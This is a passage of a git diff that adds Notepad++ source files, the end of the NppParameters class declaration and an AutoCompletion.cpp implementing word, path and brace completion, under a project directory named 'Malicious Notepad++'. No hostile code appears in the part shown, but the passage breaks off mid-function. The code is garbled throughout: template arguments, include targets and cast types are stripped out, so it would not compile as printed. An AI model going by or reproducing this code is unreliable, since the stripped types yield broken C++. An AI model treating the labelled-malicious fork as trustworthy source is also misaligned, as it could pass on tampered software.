getPluginModifiedKeyIndices() { return _pluginCustomizedCmds; }; + void addPluginModifiedIndex(size_t index); + + std::vector & getScintillaKeyList() { return _scintillaKeyCommands; }; + std::vector & getScintillaModifiedKeyIndices() { return _scintillaModifiedKeyIndices; }; + void addScintillaModifiedIndex(int index); + + std::vector & getContextMenuItems() { return _contextMenuItems; }; + const Session & getSession() const {return _session;}; + + bool hasCustomContextMenu() const {return !_contextMenuItems.empty();}; + + void setAccelerator(Accelerator *pAccel) {_pAccelerator = pAccel;}; + Accelerator * getAccelerator() {return _pAccelerator;}; + void setScintillaAccelerator(ScintillaAccelerator *pScintAccel) {_pScintAccelerator = pScintAccel;}; + ScintillaAccelerator * getScintillaAccelerator() {return _pScintAccelerator;}; + + generic_string getNppPath() const {return _nppPath;}; + generic_string getContextMenuPath() const {return _contextMenuPath;}; + const TCHAR * getAppDataNppDir() const {return _appdataNppDir.c_str();}; + const TCHAR * getLocalAppDataNppDir() const { return _localAppdataNppDir.c_str(); }; + const TCHAR * getWorkingDir() const {return _currentDirectory.c_str();}; + const TCHAR * getWorkSpaceFilePath(int i) const { + if (i < 0 || i > 2) return nullptr; + return _workSpaceFilePathes[i].c_str(); + } + const std::vector getFileBrowserRoots() const { return _fileBrowserRoot; }; + void setWorkSpaceFilePath(int i, const TCHAR *wsFile); + + void setWorkingDir(const TCHAR * newPath); + + void setStartWithLocFileName(generic_string locPath) { + _startWithLocFileName = locPath; + }; + + void setFunctionListExportBoolean(bool doIt) { + _doFunctionListExport = doIt; + }; + bool doFunctionListExport() const { + return _doFunctionListExport; + }; + + void setPrintAndExitBoolean(bool doIt) { + _doPrintAndExit = doIt; + }; + bool doPrintAndExit() const { + return _doPrintAndExit; + }; + + bool loadSession(Session & session, const TCHAR *sessionFileName); + int langTypeToCommandID(LangType lt) const; + WNDPROC getEnableThemeDlgTexture() const {return _enableThemeDialogTextureFuncAddr;}; + + struct FindDlgTabTitiles final { + generic_string _find; + generic_string _replace; + generic_string _findInFiles; + generic_string _mark; + }; + + FindDlgTabTitiles & getFindDlgTabTitiles() { return _findDlgTabTitiles;}; + + bool asNotepadStyle() const {return _asNotepadStyle;}; + + bool reloadPluginCmds() { + return getPluginCmdsFromXmlTree(); + } + + bool getContextMenuFromXmlTree(HMENU mainMenuHadle, HMENU pluginsMenu); + bool reloadContextMenuFromXmlTree(HMENU mainMenuHadle, HMENU pluginsMenu); + winVer getWinVersion() const {return _winVersion;}; + generic_string getWinVersionStr() const; + generic_string getWinVerBitStr() const; + FindHistory & getFindHistory() {return _findHistory;}; + bool _isFindReplacing = false; // an on the fly variable for find/replace functions + void safeWow64EnableWow64FsRedirection(BOOL Wow64FsEnableRedirection); + + LocalizationSwitcher & getLocalizationSwitcher() { + return _localizationSwitcher; + } + + ThemeSwitcher & getThemeSwitcher() { + return _themeSwitcher; + } + + std::vector & getBlackList() { return _blacklist; }; + bool isInBlackList(TCHAR *fn) const + { + for (auto& element: _blacklist) + { + if (element == fn) + return true; + } + return false; + } + + PluginList & getPluginList() {return _pluginList;}; + bool importUDLFromFile(generic_string sourceFile); + bool exportUDLToFile(size_t langIndex2export, generic_string fileName2save); + NativeLangSpeaker* getNativeLangSpeaker() { + return _pNativeLangSpeaker; + } + void setNativeLangSpeaker(NativeLangSpeaker *nls) { + _pNativeLangSpeaker = nls; + } + + bool isLocal() const { + return _isLocal; + }; + + void saveConfig_xml(); + + generic_string getUserPath() const { + return _userPath; + } + + bool writeSettingsFilesOnCloudForThe1stTime(const generic_string & cloudSettingsPath); + void setCloudChoice(const TCHAR *pathChoice); + void removeCloudChoice(); + bool isCloudPathChanged() const; + bool isx64() const { return _isx64; }; + + COLORREF getCurrentDefaultBgColor() const { + return _currentDefaultBgColor; + } + + COLORREF getCurrentDefaultFgColor() const { + return _currentDefaultFgColor; + } + + void setCurrentDefaultBgColor(COLORREF c) { + _currentDefaultBgColor = c; + } + + void setCurrentDefaultFgColor(COLORREF c) { + _currentDefaultFgColor = c; + } + + bool useNewStyleSaveDlg() const { + return _nppGUI._useNewStyleSaveDlg; + } + + void setUseNewStyleSaveDlg(bool v) { + _nppGUI._useNewStyleSaveDlg = v; + } + DPIManager _dpiManager; + + generic_string static getSpecialFolderLocation(int folderKind); + + +private: + NppParameters(); + ~NppParameters(); + + static NppParameters *_pSelf; + + TiXmlDocument *_pXmlDoc = nullptr; + TiXmlDocument *_pXmlUserDoc = nullptr; + TiXmlDocument *_pXmlUserStylerDoc = nullptr; + TiXmlDocument *_pXmlUserLangDoc = nullptr; + TiXmlDocument *_pXmlToolIconsDoc = nullptr; + TiXmlDocument *_pXmlShortcutDoc = nullptr; + TiXmlDocument *_pXmlSessionDoc = nullptr; + TiXmlDocument *_pXmlBlacklistDoc = nullptr; + + TiXmlDocument *_importedULD[NB_MAX_IMPORTED_UDL]; + + TiXmlDocumentA *_pXmlNativeLangDocA = nullptr; + TiXmlDocumentA *_pXmlContextMenuDocA = nullptr; + + int _nbImportedULD; + + + + std::vector _pXmlExternalLexerDoc; + + NppGUI _nppGUI; + ScintillaViewParams _svp; + Lang *_langList[NB_LANG]; + int _nbLang = 0; + + // Recent File History + generic_string *_LRFileList[NB_MAX_LRF_FILE]; + int _nbRecentFile = 0; + int _nbMaxRecentFile = 10; + bool _putRecentFileInSubMenu = false; + int _recentFileCustomLength = RECENTFILES_SHOWFULLPATH; // <0: Full File Path Name + // =0: Only File Name + // >0: Custom Entry Length + + FindHistory _findHistory; + + UserLangContainer *_userLangArray[NB_MAX_USER_LANG]; + int _nbUserLang = 0; + generic_string _userDefineLangPath; + ExternalLangContainer *_externalLangArray[NB_MAX_EXTERNAL_LANG]; + int _nbExternalLang = 0; + + CmdLineParams _cmdLineParams; + + int _fileSaveDlgFilterIndex = -1; + + // All Styles (colours & fonts) + LexerStylerArray _lexerStylerArray; + StyleArray _widgetStyleArray; + + std::vector _fontlist; + std::vector _blacklist; + PluginList _pluginList; + + HMODULE _hUXTheme = nullptr; + + WNDPROC _transparentFuncAddr = nullptr; + WNDPROC _enableThemeDialogTextureFuncAddr = nullptr; + bool _isLocal; + bool _isx64 = false; // by default 32-bit + +public: + void setShortcutDirty() { _isAnyShortcutModified = true; }; +private: + bool _isAnyShortcutModified = false; + std::vector _shortcuts; //main menu shortuts. Static size + std::vector _customizedShortcuts; //altered main menu shortcuts. Indices static. Needed when saving alterations + std::vector _macros; //macro shortcuts, dynamic size, defined on loading macros and adding/deleting them + std::vector _userCommands; //run shortcuts, dynamic size, defined on loading run commands and adding/deleting them + std::vector _pluginCommands; //plugin commands, dynamic size, defined on loading plugins + std::vector _pluginCustomizedCmds; //plugincommands that have been altered. Indices determined after loading ALL plugins. Needed when saving alterations + + std::vector _scintillaKeyCommands; //scintilla keycommands. Static size + std::vector _scintillaModifiedKeyIndices; //modified scintilla keys. Indices static, determined by searching for commandId. Needed when saving alterations + + LocalizationSwitcher _localizationSwitcher; + generic_string _startWithLocFileName; + bool _doFunctionListExport = false; + bool _doPrintAndExit = false; + + ThemeSwitcher _themeSwitcher; + + //vector _noMenuCmdNames; + std::vector _contextMenuItems; + Session _session; + + generic_string _shortcutsPath; + generic_string _contextMenuPath; + generic_string _sessionPath; + generic_string _blacklistPath; + generic_string _nppPath; + generic_string _userPath; + generic_string _stylerPath; + generic_string _appdataNppDir; // sentinel of the absence of "doLocalConf.xml" : (_appdataNppDir == TEXT(""))?"doLocalConf.xml present":"doLocalConf.xml absent" + generic_string _localAppdataNppDir; // for plugins + generic_string _currentDirectory; + generic_string _workSpaceFilePathes[3]; + + std::vector _fileBrowserRoot; + + Accelerator *_pAccelerator; + ScintillaAccelerator * _pScintAccelerator; + + FindDlgTabTitiles _findDlgTabTitiles; + bool _asNotepadStyle = false; + + winVer _winVersion; + Platform _platForm; + + NativeLangSpeaker *_pNativeLangSpeaker = nullptr; + + COLORREF _currentDefaultBgColor; + COLORREF _currentDefaultFgColor; + + generic_string _initialCloudChoice; + + void getLangKeywordsFromXmlTree(); + bool getUserParametersFromXmlTree(); + bool getUserStylersFromXmlTree(); + bool getUserDefineLangsFromXmlTree(TiXmlDocument *tixmldoc); + bool getUserDefineLangsFromXmlTree() + { + return getUserDefineLangsFromXmlTree(_pXmlUserLangDoc); + } + + bool getShortcutsFromXmlTree(); + + bool getMacrosFromXmlTree(); + bool getUserCmdsFromXmlTree(); + bool getPluginCmdsFromXmlTree(); + bool getScintKeysFromXmlTree(); + bool getSessionFromXmlTree(TiXmlDocument *pSessionDoc = NULL, Session *session = NULL); + bool getBlackListFromXmlTree(); + + void feedGUIParameters(TiXmlNode *node); + void feedKeyWordsParameters(TiXmlNode *node); + void feedFileListParameters(TiXmlNode *node); + void feedScintillaParam(TiXmlNode *node); + void feedDockingManager(TiXmlNode *node); + void feedFindHistoryParameters(TiXmlNode *node); + void feedProjectPanelsParameters(TiXmlNode *node); + void feedFileBrowserParameters(TiXmlNode *node); + bool feedStylerArray(TiXmlNode *node); + bool feedUserLang(TiXmlNode *node); + void feedUserStyles(TiXmlNode *node); + void feedUserKeywordList(TiXmlNode *node); + void feedUserSettings(TiXmlNode *node); + void feedShortcut(TiXmlNode *node); + void feedMacros(TiXmlNode *node); + void feedUserCmds(TiXmlNode *node); + void feedPluginCustomizedCmds(TiXmlNode *node); + void feedScintKeys(TiXmlNode *node); + bool feedBlacklist(TiXmlNode *node); + + void getActions(TiXmlNode *node, Macro & macro); + bool getShortcuts(TiXmlNode *node, Shortcut & sc); + + void writeStyle2Element(Style & style2Write, Style & style2Sync, TiXmlElement *element); + void insertUserLang2Tree(TiXmlNode *node, UserLangContainer *userLang); + void insertCmd(TiXmlNode *cmdRoot, const CommandShortcut & cmd); + void insertMacro(TiXmlNode *macrosRoot, const MacroShortcut & macro); + void insertUserCmd(TiXmlNode *userCmdRoot, const UserCommand & userCmd); + void insertScintKey(TiXmlNode *scintKeyRoot, const ScintillaKeyMap & scintKeyMap); + void insertPluginCmd(TiXmlNode *pluginCmdRoot, const PluginCmdShortcut & pluginCmd); + void stylerStrOp(bool op); + TiXmlElement * insertGUIConfigBoolNode(TiXmlNode *r2w, const TCHAR *name, bool bVal); + void insertDockingParamNode(TiXmlNode *GUIRoot); + void writeExcludedLangList(TiXmlElement *element); + void writePrintSetting(TiXmlElement *element); + void initMenuKeys(); //initialise menu keys and scintilla keys. Other keys are initialized on their own + void initScintillaKeys(); //these functions have to be called first before any modifications are loaded + int getCmdIdFromMenuEntryItemName(HMENU mainMenuHadle, generic_string menuEntryName, generic_string menuItemName); // return -1 if not found + int getPluginCmdIdFromMenuEntryItemName(HMENU pluginsMenu, generic_string pluginName, generic_string pluginCmdName); // return -1 if not found + winVer getWindowsVersion(); +}; diff --git a/Malicious Notepad++/src/ScitillaComponent/AutoCompletion.cpp b/Malicious Notepad++/src/ScitillaComponent/AutoCompletion.cpp new file mode 100644 index 0000000..84919e8 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/AutoCompletion.cpp @@ -0,0 +1,900 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include +#include +#include "AutoCompletion.h" +#include "Notepad_plus_msgs.h" + +using namespace std; + +static bool isInList(generic_string word, const vector & wordArray) +{ + for (size_t i = 0, len = wordArray.size(); i < len; ++i) + if (wordArray[i] == word) + return true; + return false; +} + +static bool isAllDigits(const generic_string &str) +{ + return std::all_of(str.begin(), str.end(), ::isdigit); +} + + +bool AutoCompletion::showApiComplete() +{ + if (!_funcCompletionActive) + return false; + + // calculate entered word's length + int curPos = int(_pEditView->execute(SCI_GETCURRENTPOS)); + int startPos = int(_pEditView->execute(SCI_WORDSTARTPOSITION, curPos, true)); + + if (curPos == startPos) + return false; + + size_t len = (curPos > startPos)?(curPos - startPos):(startPos - curPos); + if (len >= _keyWordMaxLen) + return false; + + _pEditView->execute(SCI_AUTOCSETSEPARATOR, WPARAM(' ')); + _pEditView->execute(SCI_AUTOCSETIGNORECASE, _ignoreCase); + _pEditView->showAutoComletion(curPos - startPos, _keyWords.c_str()); + + return true; +} + +bool AutoCompletion::showApiAndWordComplete() +{ + auto curPos = _pEditView->execute(SCI_GETCURRENTPOS); + auto startPos = _pEditView->execute(SCI_WORDSTARTPOSITION, curPos, true); + + if (curPos == startPos) + return false; + + const size_t bufSize = 256; + TCHAR beginChars[bufSize]; + + size_t len = (curPos > startPos)?(curPos - startPos):(startPos - curPos); + if (len >= bufSize) + return false; + + // Get word array + vector wordArray; + _pEditView->getGenericText(beginChars, bufSize, startPos, curPos); + + getWordArray(wordArray, beginChars); + + bool canStop = false; + for (size_t i = 0, kwlen = _keyWordArray.size(); i < kwlen; ++i) + { + if (_keyWordArray[i].compare(0, len, beginChars) == 0) + { + if (!isInList(_keyWordArray[i], wordArray)) + wordArray.push_back(_keyWordArray[i]); + canStop = true; + } + else if (canStop) { + // Early out since no more strings will match + break; + } + } + + sort(wordArray.begin(), wordArray.end()); + + // Get word list + generic_string words; + + for (size_t i = 0, wordArrayLen = wordArray.size(); i < wordArrayLen; ++i) + { + words += wordArray[i]; + if (i != wordArrayLen - 1) + words += TEXT(" "); + } + + _pEditView->execute(SCI_AUTOCSETSEPARATOR, WPARAM(' ')); + _pEditView->execute(SCI_AUTOCSETIGNORECASE, _ignoreCase); + _pEditView->showAutoComletion(curPos - startPos, words.c_str()); + return true; +} + + +void AutoCompletion::getWordArray(vector & wordArray, TCHAR *beginChars) +{ + const size_t bufSize = 256; + const NppGUI & nppGUI = NppParameters::getInstance()->getNppGUI(); + + if (nppGUI._autocIgnoreNumbers && isAllDigits(beginChars)) + return; + + generic_string expr(TEXT("\\<")); + expr += beginChars; + expr += TEXT("[^ \\t\\n\\r.,;:\"()=<>'+!\\[\\]]+"); + + int docLength = int(_pEditView->execute(SCI_GETLENGTH)); + + int flags = SCFIND_WORDSTART | SCFIND_MATCHCASE | SCFIND_REGEXP | SCFIND_POSIX; + + _pEditView->execute(SCI_SETSEARCHFLAGS, flags); + int posFind = _pEditView->searchInTarget(expr.c_str(), int(expr.length()), 0, docLength); + + while (posFind != -1 && posFind != -2) + { + int wordStart = int(_pEditView->execute(SCI_GETTARGETSTART)); + int wordEnd = int(_pEditView->execute(SCI_GETTARGETEND)); + + size_t foundTextLen = wordEnd - wordStart; + if (foundTextLen < bufSize) + { + TCHAR w[bufSize]; + _pEditView->getGenericText(w, bufSize, wordStart, wordEnd); + + if (!isInList(w, wordArray)) + wordArray.push_back(w); + } + posFind = _pEditView->searchInTarget(expr.c_str(), static_cast(expr.length()), wordEnd, docLength); + } +} + +static generic_string addTrailingSlash(generic_string path) +{ + if(path.length() >=1 && path[path.length() - 1] == '\\') + return path; + else + return path + L"\\"; +} + +static generic_string removeTrailingSlash(generic_string path) +{ + if(path.length() >= 1 && path[path.length() - 1] == '\\') + return path.substr(0, path.length() - 1); + else + return path; +} + +static bool isDirectory(generic_string path) +{ + DWORD type = ::GetFileAttributes(path.c_str()); + return type != INVALID_FILE_ATTRIBUTES && (type & FILE_ATTRIBUTE_DIRECTORY); +} + +static bool isFile(generic_string path) +{ + DWORD type = ::GetFileAttributes(path.c_str()); + return type != INVALID_FILE_ATTRIBUTES && ! (type & FILE_ATTRIBUTE_DIRECTORY); +} + +static bool isAllowedBeforeDriveLetter(TCHAR c) +{ + locale loc; + return c == '\'' || c == '"' || c == '(' || std::isspace(c, loc); +} + +static bool getRawPath(generic_string input, generic_string &rawPath_out) +{ + // Try to find a path in the given input. + // Algorithm: look for a colon. The colon must be preceded by an alphabetic character. + // The alphabetic character must, in turn, be preceded by nothing, or by whitespace, or by + // a quotation mark. + locale loc; + size_t lastOccurrence = input.rfind(L":"); + if(lastOccurrence == std::string::npos) // No match. + return false; + else if(lastOccurrence == 0) + return false; + else if(!std::isalpha(input[lastOccurrence - 1], loc)) + return false; + else if(lastOccurrence >= 2 && !isAllowedBeforeDriveLetter(input[lastOccurrence - 2])) + return false; + + rawPath_out = input.substr(lastOccurrence - 1); + return true; +} + +static bool getPathsForPathCompletion(generic_string input, generic_string &rawPath_out, generic_string &pathToMatch_out) +{ + generic_string rawPath; + if(! getRawPath(input, rawPath)) + { + return false; + } + else if(isFile(rawPath) || isFile(removeTrailingSlash(rawPath))) + { + return false; + } + else if(isDirectory(rawPath)) + { + rawPath_out = rawPath; + pathToMatch_out = rawPath; + return true; + } + else + { + size_t last_occurrence = rawPath.rfind(L"\\"); + if(last_occurrence == std::string::npos) // No match. + return false; + else + { + rawPath_out = rawPath; + pathToMatch_out = rawPath.substr(0, last_occurrence); + return true; + } + } +} + +void AutoCompletion::showPathCompletion() +{ + // Get current line (at most MAX_PATH characters "backwards" from current caret). + generic_string currentLine; + { + const size_t bufSize = MAX_PATH; + TCHAR buf[bufSize + 1]; + const size_t currentPos = static_cast(_pEditView->execute(SCI_GETCURRENTPOS)); + const auto startPos = max(0, currentPos - bufSize); + _pEditView->getGenericText(buf, bufSize + 1, startPos, currentPos); + currentLine = buf; + } + + /* Try to figure out which path the user wants us to complete. + We need to know the "raw path", which is what the user actually wrote. + But we also need to know which directory to look in (pathToMatch), which might + not be the same as what the user wrote. This happens when the user types an + incomplete name. + For instance: the user wants to autocomplete "C:\Wind", and assuming that no such directory + exists, this means we should list all files and directories in C:. + */ + generic_string rawPath, pathToMatch; + if(! getPathsForPathCompletion(currentLine, rawPath, pathToMatch)) + return; + + // Get all files and directories in the path. + generic_string autoCompleteEntries; + { + HANDLE hFind; + WIN32_FIND_DATA data; + generic_string pathToMatchPlusSlash = addTrailingSlash(pathToMatch); + generic_string searchString = pathToMatchPlusSlash + TEXT("*.*"); + hFind = ::FindFirstFile(searchString.c_str(), &data); + if(hFind != INVALID_HANDLE_VALUE) + { + // Maximum number of entries to show. Without this it appears to the user like N++ hangs when autocompleting + // some really large directories (c:\windows\winxsys on my system for instance). + const unsigned int maxEntries = 2000; + unsigned int counter = 0; + do + { + if(++counter > maxEntries) + break; + + if(generic_string(data.cFileName) == TEXT(".") || generic_string(data.cFileName) == TEXT("..")) + continue; + + if(! autoCompleteEntries.empty()) + autoCompleteEntries += TEXT("\n"); + + autoCompleteEntries += pathToMatchPlusSlash; + autoCompleteEntries += data.cFileName; + if(data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) // If directory, add trailing slash. + autoCompleteEntries += TEXT("\\"); + + } while(::FindNextFile(hFind, &data)); + ::FindClose(hFind); + } + else + return; + } + + // Show autocompletion box. + _pEditView->execute(SCI_AUTOCSETSEPARATOR, WPARAM('\n')); + _pEditView->execute(SCI_AUTOCSETIGNORECASE, true); + _pEditView->showAutoComletion(rawPath.length(), autoCompleteEntries.c_str()); + return; +} + +bool AutoCompletion::showWordComplete(bool autoInsert) +{ + int curPos = int(_pEditView->execute(SCI_GETCURRENTPOS)); + int startPos = int(_pEditView->execute(SCI_WORDSTARTPOSITION, curPos, true)); + + if (curPos == startPos) + return false; + + const size_t bufSize = 256; + TCHAR beginChars[bufSize]; + + size_t len = (curPos > startPos)?(curPos - startPos):(startPos - curPos); + if (len >= bufSize) + return false; + + // Get word array + vector wordArray; + _pEditView->getGenericText(beginChars, bufSize, startPos, curPos); + + getWordArray(wordArray, beginChars); + + if (wordArray.size() == 0) return false; + + if (wordArray.size() == 1 && autoInsert) + { + int replacedLength = _pEditView->replaceTargetRegExMode(wordArray[0].c_str(), startPos, curPos); + _pEditView->execute(SCI_GOTOPOS, startPos + replacedLength); + return true; + } + + sort(wordArray.begin(), wordArray.end()); + + // Get word list + generic_string words(TEXT("")); + + for (size_t i = 0, wordArrayLen = wordArray.size(); i < wordArrayLen; ++i) + { + words += wordArray[i]; + if (i != wordArrayLen -1) + words += TEXT(" "); + } + + _pEditView->execute(SCI_AUTOCSETSEPARATOR, WPARAM(' ')); + _pEditView->execute(SCI_AUTOCSETIGNORECASE, _ignoreCase); + _pEditView->showAutoComletion(curPos - startPos, words.c_str()); + return true; +} + +bool AutoCompletion::showFunctionComplete() +{ + if (!_funcCompletionActive) + return false; + + if (_funcCalltip.updateCalltip(0, true)) + { + return true; + } + return false; +} + +void AutoCompletion::getCloseTag(char *closeTag, size_t closeTagSize, size_t caretPos, bool isHTML) +{ + if (isHTML) + { + // Skip if caretPos is within any scripting language + int style = static_cast(_pEditView->execute(SCI_GETSTYLEAT, caretPos)); + if (style >= SCE_HJ_START) + return; + } + + char prev = static_cast(_pEditView->execute(SCI_GETCHARAT, caretPos - 2)); + char prevprev = static_cast(_pEditView->execute(SCI_GETCHARAT, caretPos - 3)); + + // Closing a tag (i.e. "-->") will be ignored + if (prevprev == '-' && prev == '-') + return; + + // "" and "" will be ignored + if (prev == '/') + return; + + int flags = SCFIND_REGEXP | SCFIND_POSIX; + _pEditView->execute(SCI_SETSEARCHFLAGS, flags); + TCHAR tag2find[] = TEXT("<[^\\s>]*"); + + int targetStart = _pEditView->searchInTarget(tag2find, lstrlen(tag2find), caretPos, 0); + + if (targetStart == -1 || targetStart == -2) + return; + + int targetEnd = int(_pEditView->execute(SCI_GETTARGETEND)); + int foundTextLen = targetEnd - targetStart; + if (foundTextLen < 2) // "<>" will be ignored + return; + + if (size_t(foundTextLen) > closeTagSize - 2) // buffer size is not large enough. -2 for '/' & '\0' + return; + + char tagHead[tagMaxLen]; + _pEditView->getText(tagHead, targetStart, targetEnd); + + if (tagHead[1] == '/') // "" will be ignored + return; + + if (tagHead[1] == '?') // "getText(closeTag + 2, targetStart + 1, targetEnd); + closeTag[foundTextLen+1] = '>'; + closeTag[foundTextLen+2] = '\0'; +} + +void InsertedMatchedChars::removeInvalidElements(MatchedCharInserted mci) +{ + if (mci._c == '\n' || mci._c == '\r') // create a new line, so all matched char are invalidated + { + _insertedMatchedChars.clear(); + } + else + { + for (int i = int(_insertedMatchedChars.size()) - 1; i >= 0; --i) + { + if (_insertedMatchedChars[i]._pos < mci._pos) + { + auto posToDetectLine = _pEditView->execute(SCI_LINEFROMPOSITION, mci._pos); + auto startPosLine = _pEditView->execute(SCI_LINEFROMPOSITION, _insertedMatchedChars[i]._pos); + + if (posToDetectLine != startPosLine) //not in the same line + { + _insertedMatchedChars.erase(_insertedMatchedChars.begin() + i); + } + } + else // current position is before matchedStartSybol Pos + { + _insertedMatchedChars.erase(_insertedMatchedChars.begin() + i); + } + } + } +} + +void InsertedMatchedChars::add(MatchedCharInserted mci) +{ + removeInvalidElements(mci); + _insertedMatchedChars.push_back(mci); +} + +// if current pos > matchedStartSybol Pos and current pos is on the same line of matchedStartSybolPos, it'll be checked then removed +// otherwise it is just removed +// return the pos of matchedEndSybol or -1 if matchedEndSybol not found +int InsertedMatchedChars::search(char startChar, char endChar, int posToDetect) +{ + if (isEmpty()) + return -1; + auto posToDetectLine = _pEditView->execute(SCI_LINEFROMPOSITION, posToDetect); + + for (int i = int32_t(_insertedMatchedChars.size()) - 1; i >= 0; --i) + { + if (_insertedMatchedChars[i]._c == startChar) + { + if (_insertedMatchedChars[i]._pos < posToDetect) + { + auto startPosLine = _pEditView->execute(SCI_LINEFROMPOSITION, _insertedMatchedChars[i]._pos); + if (posToDetectLine == startPosLine) + { + auto endPos = _pEditView->execute(SCI_GETLINEENDPOSITION, startPosLine); + + for (int j = posToDetect; j <= endPos; ++j) + { + char aChar = static_cast(_pEditView->execute(SCI_GETCHARAT, j)); + + if (aChar != ' ') // non space is not allowed + { + + if (aChar == endChar) // found it!!! + { + _insertedMatchedChars.erase(_insertedMatchedChars.begin() + i); + return j; + } + else // whichever character, stop searching + { + _insertedMatchedChars.erase(_insertedMatchedChars.begin() + i); + return -1; + } + } + } + } + else // not in the same line + { + _insertedMatchedChars.erase(_insertedMatchedChars.begin() + i); + } + } + else // current position is before matchedStartSybol Pos + { + _insertedMatchedChars.erase(_insertedMatchedChars.begin() + i); + } + } + } + return -1; +} + +void AutoCompletion::insertMatchedChars(int character, const MatchedPairConf & matchedPairConf) +{ + const vector< pair > & matchedPairs = matchedPairConf._matchedPairs; + int caretPos = static_cast(_pEditView->execute(SCI_GETCURRENTPOS)); + char *matchedChars = NULL; + + char charPrev = static_cast(_pEditView->execute(SCI_GETCHARAT, caretPos - 2)); + char charNext = static_cast(_pEditView->execute(SCI_GETCHARAT, caretPos)); + + bool isCharPrevBlank = (charPrev == ' ' || charPrev == '\t' || charPrev == '\n' || charPrev == '\r' || charPrev == '\0'); + int docLen = _pEditView->getCurrentDocLen(); + bool isCharNextBlank = (charNext == ' ' || charNext == '\t' || charNext == '\n' || charNext == '\r' || caretPos == docLen); + bool isInSandwich = (charPrev == '(' && charNext == ')') || (charPrev == '[' && charNext == ']') || (charPrev == '{' && charNext == '}'); + + // User defined matched pairs should be checked firstly + for (size_t i = 0, len = matchedPairs.size(); i < len; ++i) + { + if (int(matchedPairs[i].first) == character) + { + if (isCharNextBlank) + { + char userMatchedChar[2] = { '\0', '\0' }; + userMatchedChar[0] = matchedPairs[i].second; + _pEditView->execute(SCI_INSERTTEXT, caretPos, reinterpret_cast(userMatchedChar)); + return; + } + } + } + + // if there's no user defined matched pair found, continue to check notepad++'s one + + + char closeTag[tagMaxLen]; + closeTag[0] = '\0'; + switch (character) + { + case int('('): + if (matchedPairConf._doParentheses) + { + if (isCharNextBlank || isInSandwich) + + { + matchedChars = ")"; + _insertedMatchedChars.add(MatchedCharInserted(static_cast(character), caretPos - 1)); + } + } + break; + + case int('['): + if (matchedPairConf._doBrackets) + { + if (isCharNextBlank || isInSandwich) + { + matchedChars = "]"; + _insertedMatchedChars.add(MatchedCharInserted(static_cast(character), caretPos - 1)); + } + } + break; + + case int('{'): + if (matchedPairConf._doCurlyBrackets) + { + if (isCharNextBlank || isInSandwich) + { + matchedChars = "}"; + _insertedMatchedChars.add(MatchedCharInserted(static_cast(character), caretPos - 1)); + } + } + break; + + case int('"'): + if (matchedPairConf._doDoubleQuotes) + { + if (!_insertedMatchedChars.isEmpty()) + { + int pos = _insertedMatchedChars.search('"', static_cast(character), caretPos); + if (pos != -1) + { + _pEditView->execute(SCI_DELETERANGE, pos, 1); + _pEditView->execute(SCI_GOTOPOS, pos); + return; + } + } + + if ((isCharPrevBlank && isCharNextBlank) || isInSandwich || + (charPrev == '(' && isCharNextBlank) || (isCharPrevBlank && charNext == ')') || + (charPrev == '[' && isCharNextBlank) || (isCharPrevBlank && charNext == ']') || + (charPrev == '{' && isCharNextBlank) || (isCharPrevBlank && charNext == '}')) + { + matchedChars = "\""; + _insertedMatchedChars.add(MatchedCharInserted(static_cast(character), caretPos - 1)); + } + } + break; + case int('\''): + if (matchedPairConf._doQuotes) + { + if (!_insertedMatchedChars.isEmpty()) + { + int pos = _insertedMatchedChars.search('\'', static_cast(character), caretPos); + if (pos != -1) + { + _pEditView->execute(SCI_DELETERANGE, pos, 1); + _pEditView->execute(SCI_GOTOPOS, pos); + return; + } + } + + if ((isCharPrevBlank && isCharNextBlank) || isInSandwich || + (charPrev == '(' && isCharNextBlank) || (isCharPrevBlank && charNext == ')') || + (charPrev == '[' && isCharNextBlank) || (isCharPrevBlank && charNext == ']') || + (charPrev == '{' && isCharNextBlank) || (isCharPrevBlank && charNext == '}')) + { + matchedChars = "'"; + _insertedMatchedChars.add(MatchedCharInserted(static_cast(character), caretPos - 1)); + } + } + break; + + case int('>'): + { + if (matchedPairConf._doHtmlXmlTag && (_curLang == L_HTML || _curLang == L_XML)) + { + getCloseTag(closeTag, tagMaxLen, caretPos, _curLang == L_HTML); + if (closeTag[0] != '\0') + matchedChars = closeTag; + } + } + break; + + case int(')') : + case int(']') : + case int('}') : + if (!_insertedMatchedChars.isEmpty()) + { + char startChar; + if (character == int(')')) + { + if (!matchedPairConf._doParentheses) + return; + startChar = '('; + } + else if (character == int(']')) + { + if (!matchedPairConf._doBrackets) + return; + startChar = '['; + } + else // if (character == int('}')) + { + if (!matchedPairConf._doCurlyBrackets) + return; + startChar = '{'; + } + + int pos = _insertedMatchedChars.search(startChar, static_cast(character), caretPos); + if (pos != -1) + { + _pEditView->execute(SCI_DELETERANGE, pos, 1); + _pEditView->execute(SCI_GOTOPOS, pos); + } + return; + } + break; + + default: + if (!_insertedMatchedChars.isEmpty()) + _insertedMatchedChars.removeInvalidElements(MatchedCharInserted(static_cast(character), caretPos - 1)); + } + + if (matchedChars) + _pEditView->execute(SCI_INSERTTEXT, caretPos, reinterpret_cast(matchedChars)); +} + + +void AutoCompletion::update(int character) +{ + if (!character) + return; + + const NppGUI & nppGUI = NppParameters::getInstance()->getNppGUI(); + if (!_funcCompletionActive && nppGUI._autocStatus == nppGUI.autoc_func) + return; + + if (nppGUI._funcParams || _funcCalltip.isVisible()) + { + if (_funcCalltip.updateCalltip(character)) //calltip visible because triggered by autocomplete, set mode + { + return; //only return in case of success, else autocomplete + } + } + + //If autocomplete already active, let Scintilla handle it + if (_pEditView->execute(SCI_AUTOCACTIVE) != 0) + return; + + const int wordSize = 64; + TCHAR s[wordSize]; + _pEditView->getWordToCurrentPos(s, 